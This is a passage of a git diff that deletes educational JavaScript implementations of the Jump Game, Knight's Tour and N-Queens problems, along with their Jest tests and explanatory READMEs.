-        const isJumpSuccessful = backtrackingJumpGame(numbers, nextIndex, currentJumps);
-        // Check if current jump was successful.
-        if (isJumpSuccessful) {
-            return true;
-        }
-        // BACKTRACKING.
-        // If previous jump wasn't successful then retreat and try the next one.
-        currentJumps.pop();
-    }
-    return false;
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/dpBottomUpJumpGame.js b/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/dpBottomUpJumpGame.js
deleted file mode 100644
index 7f2267dc2f..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/dpBottomUpJumpGame.js
+++ /dev/null
@@ -1,40 +0,0 @@
-/**
- * DYNAMIC PROGRAMMING BOTTOM-UP approach of solving Jump Game.
- *
- * This comes out as an optimisation of DYNAMIC PROGRAMMING TOP-DOWN approach.
- *
- * The observation to make here is that we only ever jump to the right.
- * This means that if we start from the right of the array, every time we
- * will query a position to our right, that position has already be
- * determined as being GOOD or BAD. This means we don't need to recurse
- * anymore, as we will always hit the memo table.
- *
- * We call a position in the array a "good" one if starting at that
- * position, we can reach the last index. Otherwise, that index
- * is called a "bad" one.
- *
- * @param {number[]} numbers - array of possible jump length.
- * @return {boolean}
- */
-export default function dpBottomUpJumpGame(numbers) {
-    // Init cells goodness table.
-    const cellsGoodness = Array(numbers.length).fill(undefined);
-    // Mark the last cell as "good" one since it is where we ultimately want to get.
-    cellsGoodness[cellsGoodness.length - 1] = true;
-    // Go throw all cells starting from the one before the last
-    // one (since the last one is "good" already) and fill cellsGoodness table.
-    for (let cellIndex = numbers.length - 2; cellIndex >= 0; cellIndex -= 1) {
-        const maxJumpLength = Math.min(numbers[cellIndex], numbers.length - 1 - cellIndex);
-        for (let jumpLength = maxJumpLength; jumpLength > 0; jumpLength -= 1) {
-            const nextIndex = cellIndex + jumpLength;
-            if (cellsGoodness[nextIndex] === true) {
-                cellsGoodness[cellIndex] = true;
-                // Once we detected that current cell is good one we don't need to
-                // do further cells checking.
-                break;
-            }
-        }
-    }
-    // Now, if the zero's cell is good one then we can jump from it to the end of the array.
-    return cellsGoodness[0] === true;
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/dpTopDownJumpGame.js b/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/dpTopDownJumpGame.js
deleted file mode 100644
index 100f68a265..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/dpTopDownJumpGame.js
+++ /dev/null
@@ -1,61 +0,0 @@
-/**
- * DYNAMIC PROGRAMMING TOP-DOWN approach of solving Jump Game.
- *
- * This comes out as an optimisation of BACKTRACKING approach.
- *
- * It relies on the observation that once we determine that a certain
- * index is good / bad, this result will never change. This means that
- * we can store the result and not need to recompute it every time.
- *
- * We call a position in the array a "good" one if starting at that
- * position, we can reach the last index. Otherwise, that index
- * is called a "bad" one.
- *
- * @param {number[]} numbers - array of possible jump length.
- * @param {number} startIndex - index from where we start jumping.
- * @param {number[]} currentJumps - current jumps path.
- * @param {boolean[]} cellsGoodness - holds information about whether cell is "good" or "bad"
- * @return {boolean}
- */
-export default function dpTopDownJumpGame(numbers, startIndex = 0, currentJumps = [], cellsGoodness = []) {
-    if (startIndex === numbers.length - 1) {
-        // We've jumped directly to last cell. This situation is a solution.
-        return true;
-    }
-    // Init cell goodness table if it is empty.
-    // This is DYNAMIC PROGRAMMING feature.
-    const currentCellsGoodness = [...cellsGoodness];
-    if (!currentCellsGoodness.length) {
-        numbers.forEach(() => currentCellsGoodness.push(undefined));
-        // Mark the last cell as "good" one since it is where we ultimately want to get.
-        currentCellsGoodness[cellsGoodness.length - 1] = true;
-    }
-    // Check what the longest jump we could make from current position.
-    // We don't need to jump beyond the array.
-    const maxJumpLength = Math.min(
-        numbers[startIndex], // Jump is within array.
-        numbers.length - 1 - startIndex // Jump goes beyond array.
-    );
-    // Let's start jumping from startIndex and see whether any
-    // jump is successful and has reached the end of the array.
-    for (let jumpLength = maxJumpLength; jumpLength > 0; jumpLength -= 1) {
-        // Try next jump.
-        const nextIndex = startIndex + jumpLength;
-        // Jump only into "good" or "unknown" cells.
-        // This is top-down dynamic programming optimisation of backtracking algorithm.
-        if (currentCellsGoodness[nextIndex] !== false) {
-            currentJumps.push(nextIndex);
-            const isJumpSuccessful = dpTopDownJumpGame(numbers, nextIndex, currentJumps, currentCellsGoodness);
-            // Check if current jump was successful.
-            if (isJumpSuccessful) {
-                return true;
-            }
-            // BACKTRACKING.
-            // If previous jump wasn't successful then retreat and try the next one.
-            currentJumps.pop();
-            // Mark current cell as "bad" to avoid its deep visiting later.
-            currentCellsGoodness[nextIndex] = false;
-        }
-    }
-    return false;
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/greedyJumpGame.js b/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/greedyJumpGame.js
deleted file mode 100644
index 6bbe86af63..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/greedyJumpGame.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/**
- * GREEDY approach of solving Jump Game.
- *
- * This comes out as an optimisation of DYNAMIC PROGRAMMING BOTTOM_UP approach.
- *
- * Once we have our code in the bottom-up state, we can make one final,
- * important observation. From a given position, when we try to see if
- * we can jump to a GOOD position, we only ever use one - the first one.
- * In other words, the left-most one. If we keep track of this left-most
- * GOOD position as a separate variable, we can avoid searching for it
- * in the array. Not only that, but we can stop using the array altogether.
- *
- * We call a position in the array a "good" one if starting at that
- * position, we can reach the last index. Otherwise, that index
- * is called a "bad" one.
- *
- * @param {number[]} numbers - array of possible jump length.
- * @return {boolean}
- */
-export default function greedyJumpGame(numbers) {
-    // The "good" cell is a cell from which we may jump to the last cell of the numbers array.
-    // The last cell in numbers array is for sure the "good" one since it is our goal to reach.
-    let leftGoodPosition = numbers.length - 1;
-    // Go through all numbers from right to left.
-    for (let numberIndex = numbers.length - 2; numberIndex >= 0; numberIndex -= 1) {
-        // If we can reach the "good" cell from the current one then for sure the current
-        // one is also "good". Since after all we'll be able to reach the end of the array
-        // from it.
-        const maxCurrentJumpLength = numberIndex + numbers[numberIndex];
-        if (maxCurrentJumpLength >= leftGoodPosition) {
-            leftGoodPosition = numberIndex;
-        }
-    }
-    // If the most left "good" position is the zero's one then we may say that it IS
-    // possible jump to the end of the array from the first cell;
-    return leftGoodPosition === 0;
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/backtrackingJumpGame.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/backtrackingJumpGame.test.js
deleted file mode 100644
index 8b68bf64ba..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/backtrackingJumpGame.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import backtrackingJumpGame from '../backtrackingJumpGame';
-describe('backtrackingJumpGame', () => {
-    it('should solve Jump Game problem in backtracking manner', () => {
-        expect(backtrackingJumpGame([1, 0])).toBe(true);
-        expect(backtrackingJumpGame([100, 0])).toBe(true);
-        expect(backtrackingJumpGame([2, 3, 1, 1, 4])).toBe(true);
-        expect(backtrackingJumpGame([1, 1, 1, 1, 1])).toBe(true);
-        expect(backtrackingJumpGame([1, 1, 1, 10, 1])).toBe(true);
-        expect(backtrackingJumpGame([1, 5, 2, 1, 0, 2, 0])).toBe(true);
-        expect(backtrackingJumpGame([1, 0, 1])).toBe(false);
-        expect(backtrackingJumpGame([3, 2, 1, 0, 4])).toBe(false);
-        expect(backtrackingJumpGame([0, 0, 0, 0, 0])).toBe(false);
-        expect(backtrackingJumpGame([5, 4, 3, 2, 1, 0, 0])).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/dpBottomUpJumpGame.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/dpBottomUpJumpGame.test.js
deleted file mode 100644
index 0775bbe5b2..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/dpBottomUpJumpGame.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import dpBottomUpJumpGame from '../dpBottomUpJumpGame';
-describe('dpBottomUpJumpGame', () => {
-    it('should solve Jump Game problem in bottom-up dynamic programming manner', () => {
-        expect(dpBottomUpJumpGame([1, 0])).toBe(true);
-        expect(dpBottomUpJumpGame([100, 0])).toBe(true);
-        expect(dpBottomUpJumpGame([2, 3, 1, 1, 4])).toBe(true);
-        expect(dpBottomUpJumpGame([1, 1, 1, 1, 1])).toBe(true);
-        expect(dpBottomUpJumpGame([1, 1, 1, 10, 1])).toBe(true);
-        expect(dpBottomUpJumpGame([1, 5, 2, 1, 0, 2, 0])).toBe(true);
-        expect(dpBottomUpJumpGame([1, 0, 1])).toBe(false);
-        expect(dpBottomUpJumpGame([3, 2, 1, 0, 4])).toBe(false);
-        expect(dpBottomUpJumpGame([0, 0, 0, 0, 0])).toBe(false);
-        expect(dpBottomUpJumpGame([5, 4, 3, 2, 1, 0, 0])).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/dpTopDownJumpGame.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/dpTopDownJumpGame.test.js
deleted file mode 100644
index 874fe83b8f..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/dpTopDownJumpGame.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import dpTopDownJumpGame from '../dpTopDownJumpGame';
-describe('dpTopDownJumpGame', () => {
-    it('should solve Jump Game problem in top-down dynamic programming manner', () => {
-        expect(dpTopDownJumpGame([1, 0])).toBe(true);
-        expect(dpTopDownJumpGame([100, 0])).toBe(true);
-        expect(dpTopDownJumpGame([2, 3, 1, 1, 4])).toBe(true);
-        expect(dpTopDownJumpGame([1, 1, 1, 1, 1])).toBe(true);
-        expect(dpTopDownJumpGame([1, 1, 1, 10, 1])).toBe(true);
-        expect(dpTopDownJumpGame([1, 5, 2, 1, 0, 2, 0])).toBe(true);
-        expect(dpTopDownJumpGame([1, 0, 1])).toBe(false);
-        expect(dpTopDownJumpGame([3, 2, 1, 0, 4])).toBe(false);
-        expect(dpTopDownJumpGame([0, 0, 0, 0, 0])).toBe(false);
-        expect(dpTopDownJumpGame([5, 4, 3, 2, 1, 0, 0])).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/greedyJumpGame.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/greedyJumpGame.test.js
deleted file mode 100644
index 84f13f3db3..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/jump-game/test/greedyJumpGame.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import greedyJumpGame from '../greedyJumpGame';
-describe('greedyJumpGame', () => {
-    it('should solve Jump Game problem in greedy manner', () => {
-        expect(greedyJumpGame([1, 0])).toBe(true);
-        expect(greedyJumpGame([100, 0])).toBe(true);
-        expect(greedyJumpGame([2, 3, 1, 1, 4])).toBe(true);
-        expect(greedyJumpGame([1, 1, 1, 1, 1])).toBe(true);
-        expect(greedyJumpGame([1, 1, 1, 10, 1])).toBe(true);
-        expect(greedyJumpGame([1, 5, 2, 1, 0, 2, 0])).toBe(true);
-        expect(greedyJumpGame([1, 0, 1])).toBe(false);
-        expect(greedyJumpGame([3, 2, 1, 0, 4])).toBe(false);
-        expect(greedyJumpGame([0, 0, 0, 0, 0])).toBe(false);
-        expect(greedyJumpGame([5, 4, 3, 2, 1, 0, 0])).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/knight-tour/README.md b/docs/content/DS_ALGO/algorithms/uncategorized/knight-tour/README.md
deleted file mode 100644
index 2b0d64f333..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/knight-tour/README.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# Knight's Tour
-
-A **knight's tour** is a sequence of moves of a knight on a chessboard
-such that the knight visits every square only once. If the knight
-ends on a square that is one knight's move from the beginning
-square (so that it could tour the board again immediately,
-following the same path), the tour is **closed**, otherwise it
-is **open**.
-
-The **knight's tour problem** is the mathematical problem of
-finding a knight's tour. Creating a program to find a knight's
-tour is a common problem given to computer science students.
-Variations of the knight's tour problem involve chessboards of
-different sizes than the usual `8×8`, as well as irregular
-(non-rectangular) boards.
-
-The knight's tour problem is an instance of the more
-general **Hamiltonian path problem** in graph theory. The problem of finding
-a closed knight's tour is similarly an instance of the Hamiltonian
-cycle problem.
-
-![Knight's Tour](https://upload.wikimedia.org/wikipedia/commons/d/da/Knight%27s_tour_anim_2.gif)
-
-An open knight's tour of a chessboard.
-
-![Knight's Tour](https://upload.wikimedia.org/wikipedia/commons/c/ca/Knights-Tour-Animation.gif)
-
-An animation of an open knight's tour on a 5 by 5 board.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Knight%27s_tour)
--   [GeeksForGeeks](https://www.geeksforgeeks.org/backtracking-set-1-the-knights-tour-problem/)
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/knight-tour/knightTour.js b/docs/content/DS_ALGO/algorithms/uncategorized/knight-tour/knightTour.js
deleted file mode 100644
index 56bfa1c36e..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/knight-tour/knightTour.js
+++ /dev/null
@@ -1,97 +0,0 @@
-/**
- * @param {number[][]} chessboard
- * @param {number[]} position
- * @return {number[][]}
- */
-function getPossibleMoves(chessboard, position) {
-    // Generate all knight moves (even those that go beyond the board).
-    const possibleMoves = [
-        [position[0] - 1, position[1] - 2],
-        [position[0] - 2, position[1] - 1],
-        [position[0] + 1, position[1] - 2],
-        [position[0] + 2, position[1] - 1],
-        [position[0] - 2, position[1] + 1],
-        [position[0] - 1, position[1] + 2],
-        [position[0] + 1, position[1] + 2],
-        [position[0] + 2, position[1] + 1]
-    ];
-    // Filter out all moves that go beyond the board.
-    return possibleMoves.filter((move) => {
-        const boardSize = chessboard.length;
-        return move[0] >= 0 && move[1] >= 0 && move[0] < boardSize && move[1] < boardSize;
-    });
-}
-/**
- * @param {number[][]} chessboard
- * @param {number[]} move
- * @return {boolean}
- */
-function isMoveAllowed(chessboard, move) {
-    return chessboard[move[0]][move[1]] !== 1;
-}
-/**
- * @param {number[][]} chessboard
- * @param {number[][]} moves
- * @return {boolean}
- */
-function isBoardCompletelyVisited(chessboard, moves) {
-    const totalPossibleMovesCount = chessboard.length ** 2;
-    const existingMovesCount = moves.length;
-    return totalPossibleMovesCount === existingMovesCount;
-}
-/**
- * @param {number[][]} chessboard
- * @param {number[][]} moves
- * @return {boolean}
- */
-function knightTourRecursive(chessboard, moves) {
-    const currentChessboard = chessboard;
-    // If board has been completely visited then we've found a solution.
-    if (isBoardCompletelyVisited(currentChessboard, moves)) {
-        return true;
-    }
-    // Get next possible knight moves.
-    const lastMove = moves[moves.length - 1];
-    const possibleMoves = getPossibleMoves(currentChessboard, lastMove);
-    // Try to do next possible moves.
-    for (let moveIndex = 0; moveIndex < possibleMoves.length; moveIndex += 1) {
-        const currentMove = possibleMoves[moveIndex];
-        // Check if current move is allowed. We aren't allowed to go to
-        // the same cells twice.
-        if (isMoveAllowed(currentChessboard, currentMove)) {
-            // Actually do the move.
-            moves.push(currentMove);
-            currentChessboard[currentMove[0]][currentMove[1]] = 1;
-            // If further moves starting from current are successful then
-            // return true meaning the solution is found.
-            if (knightTourRecursive(currentChessboard, moves)) {
-                return true;
-            }
-            // BACKTRACKING.
-            // If current move was unsuccessful then step back and try to do another move.
-            moves.pop();
-            currentChessboard[currentMove[0]][currentMove[1]] = 0;
-        }
-    }
-    // Return false if we haven't found solution.
-    return false;
-}
-/**
- * @param {number} chessboardSize
- * @return {number[][]}
- */
-export default function knightTour(chessboardSize) {
-    // Init chessboard.
-    const chessboard = Array(chessboardSize)
-        .fill(null)
-        .map(() => Array(chessboardSize).fill(0));
-    // Init moves array.
-    const moves = [];
-    // Do first move and place the knight to the 0x0 cell.
-    const firstMove = [0, 0];
-    moves.push(firstMove);
-    chessboard[firstMove[0]][firstMove[0]] = 1;
-    // Recursively try to do the next move.
-    const solutionWasFound = knightTourRecursive(chessboard, moves);
-    return solutionWasFound ? moves : [];
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/knight-tour/test/knightTour.test.js b/docs/content/DS_ALGO/algorithms/uncategorized/knight-tour/test/knightTour.test.js
deleted file mode 100644
index 20df9a22be..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/knight-tour/test/knightTour.test.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import knightTour from '../knightTour';
-describe('knightTour', () => {
-    it('should not find solution on 3x3 board', () => {
-        const moves = knightTour(3);
-        expect(moves.length).toBe(0);
-    });
-    it('should find one solution to do knight tour on 5x5 board', () => {
-        const moves = knightTour(5);
-        expect(moves.length).toBe(25);
-        expect(moves).toEqual([
-            [0, 0],
-            [1, 2],
-            [2, 0],
-            [0, 1],
-            [1, 3],
-            [3, 4],
-            [2, 2],
-            [4, 1],
-            [3, 3],
-            [1, 4],
-            [0, 2],
-            [1, 0],
-            [3, 1],
-            [4, 3],
-            [2, 4],
-            [0, 3],
-            [1, 1],
-            [3, 0],
-            [4, 2],
-            [2, 1],
-            [4, 0],
-            [3, 2],
-            [4, 4],
-            [2, 3],
-            [0, 4]
-        ]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/QueenPosition.js b/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/QueenPosition.js
deleted file mode 100644
index 34a2b30380..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/QueenPosition.js
+++ /dev/null
@@ -1,36 +0,0 @@
-/**
- * Class that represents queen position on the chessboard.
- */
-export default class QueenPosition {
-    /**
-     * @param {number} rowIndex
-     * @param {number} columnIndex
-     */
-    constructor(rowIndex, columnIndex) {
-        this.rowIndex = rowIndex;
-        this.columnIndex = columnIndex;
-    }
-    /**
-     * @return {number}
-     */
-    get leftDiagonal() {
-        // Each position on the same left (\) diagonal has the same difference of
-        // rowIndex and columnIndex. This fact may be used to quickly check if two
-        // positions (queens) are on the same left diagonal.
-        // @see https://youtu.be/xouin83ebxE?t=1m59s
-        return this.rowIndex - this.columnIndex;
-    }
-    /**
-     * @return {number}
-     */
-    get rightDiagonal() {
-        // Each position on the same right diagonal (/) has the same
-        // sum of rowIndex and columnIndex. This fact may be used to quickly
-        // check if two positions (queens) are on the same right diagonal.
-        // @see https://youtu.be/xouin83ebxE?t=1m59s
-        return this.rowIndex + this.columnIndex;
-    }
-    toString() {
-        return `${this.rowIndex},${this.columnIndex}`;
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/README.md b/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/README.md
deleted file mode 100644
index 4eefad9b02..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/README.md
+++ /dev/null
@@ -1,117 +0,0 @@
-# N-Queens Problem
-
-The **eight queens puzzle** is the problem of placing eight chess queens
-on an `8×8` chessboard so that no two queens threaten each other.
-Thus, a solution requires that no two queens share the same row,
-column, or diagonal. The eight queens puzzle is an example of the
-more general _n queens problem_ of placing n non-attacking queens
-on an `n×n` chessboard, for which solutions exist for all natural
-numbers `n` with the exception of `n=2` and `n=3`.
-
-For example, following is a solution for 4 Queen problem.
-
-![N Queens](https://cdncontribute.geeksforgeeks.org/wp-content/uploads/N_Queen_Problem.jpg)
-
-The expected output is a binary matrix which has 1s for the blocks
-where queens are placed. For example following is the output matrix
-for above 4 queen solution.
-
-```
-{ 0,  1,  0,  0}
-{ 0,  0,  0,  1}
-{ 1,  0,  0,  0}
-{ 0,  0,  1,  0}
-```
-
-## Naive Algorithm
-
-Generate all possible configurations of queens on board and print a
-configuration that satisfies the given constraints.
-
-```
-while there are untried configurations
-{
-   generate the next configuration
-   if queens don't attack in this configuration then
-   {
-      print this configuration;
-   }
-}
-```
-
-## Backtracking Algorithm
-
-The idea is to place queens one by one in different columns,
-starting from the leftmost column. When we place a queen in a
-column, we check for clashes with already placed queens. In
-the current column, if we find a row for which there is no
-clash, we mark this row and column as part of the solution.
-If we do not find such a row due to clashes then we backtrack
-and return false.
-
-```
-1) Start in the leftmost column
-2) If all queens are placed
-    return true
-3) Try all rows in the current column.  Do following for every tried row.
-    a) If the queen can be placed safely in this row then mark this [row,
-        column] as part of the solution and recursively check if placing
-        queen here leads to a solution.
-    b) If placing queen in [row, column] leads to a solution then return
-        true.
-    c) If placing queen doesn't lead to a solution then umark this [row,
-        column] (Backtrack) and go to step (a) to try other rows.
-3) If all rows have been tried and nothing worked, return false to trigger
-    backtracking.
-```
-
-## Bitwise Solution
-
-Bitwise algorithm basically approaches the problem like this:
-
--   Queens can attack diagonally, vertically, or horizontally. As a result, there
-    can only be one queen in each row, one in each column, and at most one on each
-    diagonal.
--   Since we know there can only one queen per row, we will start at the first row,
-    place a queen, then move to the second row, place a second queen, and so on until
-    either a) we reach a valid solution or b) we reach a dead end (ie. we can't place
-    a queen such that it is "safe" from the other queens).
--   Since we are only placing one queen per row, we don't need to worry about
-    horizontal attacks, since no queen will ever be on the same row as another queen.
--   That means we only need to check three things before placing a queen on a
-    certain square: 1) The square's column doesn't have any other queens on it, 2)
-    the square's left diagonal doesn't have any other queens on it, and 3) the
-    square's right diagonal doesn't have any other queens on it.
--   If we ever reach a point where there is nowhere safe to place a queen, we can
-    give up on our current attempt and immediately test out the next possibility.
-
-First let's talk about the recursive function. You'll notice that it accepts
-3 parameters: `leftDiagonal`, `column`, and `rightDiagonal`. Each of these is
-technically an integer, but the algorithm takes advantage of the fact that an
-integer is represented by a sequence of bits. So, think of each of these
-parameters as a sequence of `N` bits.
-
-Each bit in each of the parameters represents whether the corresponding location
-on the current row is "available".
-
-For example:
-
--   For `N=4`, column having a value of `0010` would mean that the 3rd column is
-    already occupied by a queen.
--   For `N=8`, ld having a value of `00011000` at row 5 would mean that the
-    top-left-to-bottom-right diagonals that pass through columns 4 and 5 of that
-    row are already occupied by queens.
-
-Below is a visual aid for `leftDiagonal`, `column`, and `rightDiagonal`.
-
-![](http://gregtrowbridge.com/content/images/2014/Jul/Screenshot-from-2014-06-17-19-46-20.png)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Eight_queens_puzzle)
--   [GeeksForGeeks](https://www.geeksforgeeks.org/backtracking-set-3-n-queen-problem/)
--   [On YouTube by Abdul Bari](https://www.youtube.com/watch?v=xFv_Hl4B83A&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [On YouTube by Tushar Roy](https://www.youtube.com/watch?v=xouin83ebxE&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   Bitwise Solution
-    -   [Wikipedia](https://en.wikipedia.org/wiki/Eight_queens_puzzle)
-    -   [Solution by Greg Trowbridge](http://gregtrowbridge.com/a-bitwise-solution-to-the-n-queens-problem-in-javascript/)
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/nQueens.js b/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/nQueens.js
deleted file mode 100644
index 584ae4b32b..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/nQueens.js
+++ /dev/null
@@ -1,82 +0,0 @@
-import QueenPosition from './QueenPosition';
-/**
- * @param {QueenPosition[]} queensPositions
- * @param {number} rowIndex
- * @param {number} columnIndex
- * @return {boolean}
- */
-function isSafe(queensPositions, rowIndex, columnIndex) {
-    // New position to which the Queen is going to be placed.
-    const newQueenPosition = new QueenPosition(rowIndex, columnIndex);
-    // Check if new queen position conflicts with any other queens.
-    for (let queenIndex = 0; queenIndex < queensPositions.length; queenIndex += 1) {
-        const currentQueenPosition = queensPositions[queenIndex];
-        if (
-            // Check if queen has been already placed.
-            currentQueenPosition &&
-            // Check if there are any queen on the same column.
-            (newQueenPosition.columnIndex === currentQueenPosition.columnIndex ||
-                // Check if there are any queen on the same row.
-                newQueenPosition.rowIndex === currentQueenPosition.rowIndex ||
-                // Check if there are any queen on the same left diagonal.
-                newQueenPosition.leftDiagonal === currentQueenPosition.leftDiagonal ||
-                // Check if there are any queen on the same right diagonal.
-                newQueenPosition.rightDiagonal === currentQueenPosition.rightDiagonal)
-        ) {
-            // Can't place queen into current position since there are other queens that
-            // are threatening it.
-            return false;
-        }
-    }
-    // Looks like we're safe.
-    return true;
-}
-/**
- * @param {QueenPosition[][]} solutions
- * @param {QueenPosition[]} previousQueensPositions
- * @param {number} queensCount
- * @param {number} rowIndex
- * @return {boolean}
- */
-function nQueensRecursive(solutions, previousQueensPositions, queensCount, rowIndex) {
-    // Clone positions array.
-    const queensPositions = [...previousQueensPositions].map((queenPosition) => {
-        return !queenPosition ? queenPosition : new QueenPosition(queenPosition.rowIndex, queenPosition.columnIndex);
-    });
-    if (rowIndex === queensCount) {
-        // We've successfully reached the end of the board.
-        // Store solution to the list of solutions.
-        solutions.push(queensPositions);
-        // Solution found.
-        return true;
-    }
-    // Let's try to put queen at row rowIndex into its safe column position.
-    for (let columnIndex = 0; columnIndex < queensCount; columnIndex += 1) {
-        if (isSafe(queensPositions, rowIndex, columnIndex)) {
-            // Place current queen to its current position.
-            queensPositions[rowIndex] = new QueenPosition(rowIndex, columnIndex);
-            // Try to place all other queens as well.
-            nQueensRecursive(solutions, queensPositions, queensCount, rowIndex + 1);
-            // BACKTRACKING.
-            // Remove the queen from the row to avoid isSafe() returning false.
-            queensPositions[rowIndex] = null;
-        }
-    }
-    return false;
-}
-/**
- * @param {number} queensCount
- * @return {QueenPosition[][]}
- */
-export default function nQueens(queensCount) {
-    // Init NxN chessboard with zeros.
-    // const chessboard = Array(queensCount).fill(null).map(() => Array(queensCount).fill(0));
-    // This array will hold positions or coordinates of each of
-    // N queens in form of [rowIndex, columnIndex].
-    const queensPositions = Array(queensCount).fill(null);
-    /** @var {QueenPosition[][]} solutions */
-    const solutions = [];
-    // Solve problem recursively.
-    nQueensRecursive(solutions, queensPositions, queensCount, 0);
-    return solutions;
-}
diff --git a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/nQueensBitwise.js b/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/nQueensBitwise.js
deleted file mode 100644
index 2bcaf61c56..0000000000
--- a/docs/content/DS_ALGO/algorithms/uncategorized/n-queens/nQueensBitwise.js
+++ /dev/null
@@ -1,87 +0,0 @@
-/**
- * Checks all possible board configurations.
- *
- * @param {number} boardSize - Size of the squared chess board.
- * @param {number} leftDiagonal - Sequence of N bits that show whether the corresponding location
- * on the current row is "available" (no other queens are threatening from left diagonal).
- * @param {number} column - Sequence of N bits that show whether the corresponding location
- * on the current row is "available" (no other queens are threatening from columns).
- * @param {number} rightDiagonal - Sequence of N bits that show whether the corresponding location
- * on the current row is "available" (no other queens are threatening from right diagonal).
- * @param {number} solutionsCount - Keeps track of the number of valid solutions.
- * @return {number} - Number of possible solutions.
- */
-function nQueensBitwiseRecursive(boardSize, leftDiagonal = 0, column = 0, rightDiagonal = 0, solutionsCount = 0) {
-    // Keeps track of the number of valid solutions.
-    let currentSolutionsCount = solutionsCount;
-    // Helps to identify valid solutions.
-    // isDone simply has a bit sequence with 1 for every entry up to the Nth. For example,
-    // when N=5, done will equal 11111. The "isDone" variable simply allows us to not worry about any
-    // bits beyond the Nth.
-    const isDone = 2 ** boardSize - 1;
-    // All columns are occupied (i.e. 0b1111 for boardSize = 4), so the solution must be complete.
-    // Since the algorithm never places a queen illegally (ie. when it can attack or be attacked),
-    // we know that if all the columns have been filled, we must have a valid solution.
-    if (column === isDone) {
-        return currentSolutionsCount + 1;
-    }
-    // Gets a bit sequence with "1"s wherever there is an open "slot".
-    // All that's happening here is we're taking col, ld, and rd, and if any of the columns are
-    // "under attack", we mark that column as 0 in poss, basically meaning "we can't put a queen in
-    // this column". Thus all bits position in poss that are '1's are available for placing
-    // queen there.
-    let availablePositions = ~(leftDiagonal | rightDiagonal | column);
-    // Loops as long as there is a valid place to put another queen.
-    // For N=4 the isDone=0b1111. Then if availablePositions=0b0000 (which would mean that all places
-    // are under threatening) we must stop trying to place a queen.
-    while (availablePositions & isDone) {
-        // firstAvailablePosition just stores the first non-zero bit (ie. the first available location).
-        // So if firstAvailablePosition was 0010, it would mean the 3rd column of the current row.
-        // And that would be the position will be placing our next queen.
-        //
-        // For example:
-        // availablePositions = 0b01100
-        // firstAvailablePosition = 100
-        const firstAvailablePosition = availablePositions & -availablePositions;
-        // This line just marks that position in the current row as being "taken" by flipping that
-        // column in availablePositions to zero. This way, when the while loop continues, we'll know
-        // not to try that location again.
-        //
-        // For example:
-        // availablePositions = 0b0100
-        // firstAvailablePosition = 0b10
-        // 0b0110 - 0b10 = 0b0100
-        availablePositions -= firstAvailablePosition;
-        /*
-         * The operators >> 1 and 1 << simply move all the bits in a bit sequence one digit to the
-         * right or left, respectively. So calling (rd|bit)<<1 simply says: combine rd and bit with
-         * an OR operation, then move everything in the result to the left by one digit.
-         *
-         * More specifically, if rd is 0001 (meaning that the top-right-to-bottom-left diagonal through
-         * column 4 of the current row is occupied), and bit is 0100 (meaning that we are planning to
-         * place a queen in column 2 of the current row), (rd|bit) results in 0101 (meaning that after
-         * we place a queen in column 2 of the current row, the second and the fourth
-         * top-right-to-bottom-left diagonals will be occupied).
-         *
-         * Now, if add in the << operator, we get (rd|bit)<<1, which takes the 0101 we worked out in
-         * our previous bullet point, and moves everything to the left by one. The result, therefore,
-         * is 1010.
-         */
-        currentSolutionsCount += nQueensBitwiseRecursive(
-            boardSize,
-            (leftDiagonal | firstAvailablePosition) >> 1,
-            column | firstAvailablePosition,
